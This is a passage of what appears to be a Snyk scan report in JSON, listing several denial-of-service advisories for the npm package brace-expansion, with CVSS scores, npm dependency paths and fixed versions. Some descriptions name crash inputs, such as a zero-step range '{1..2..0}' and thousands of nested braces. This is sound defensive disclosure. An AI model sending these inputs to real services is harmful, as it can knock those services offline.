"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
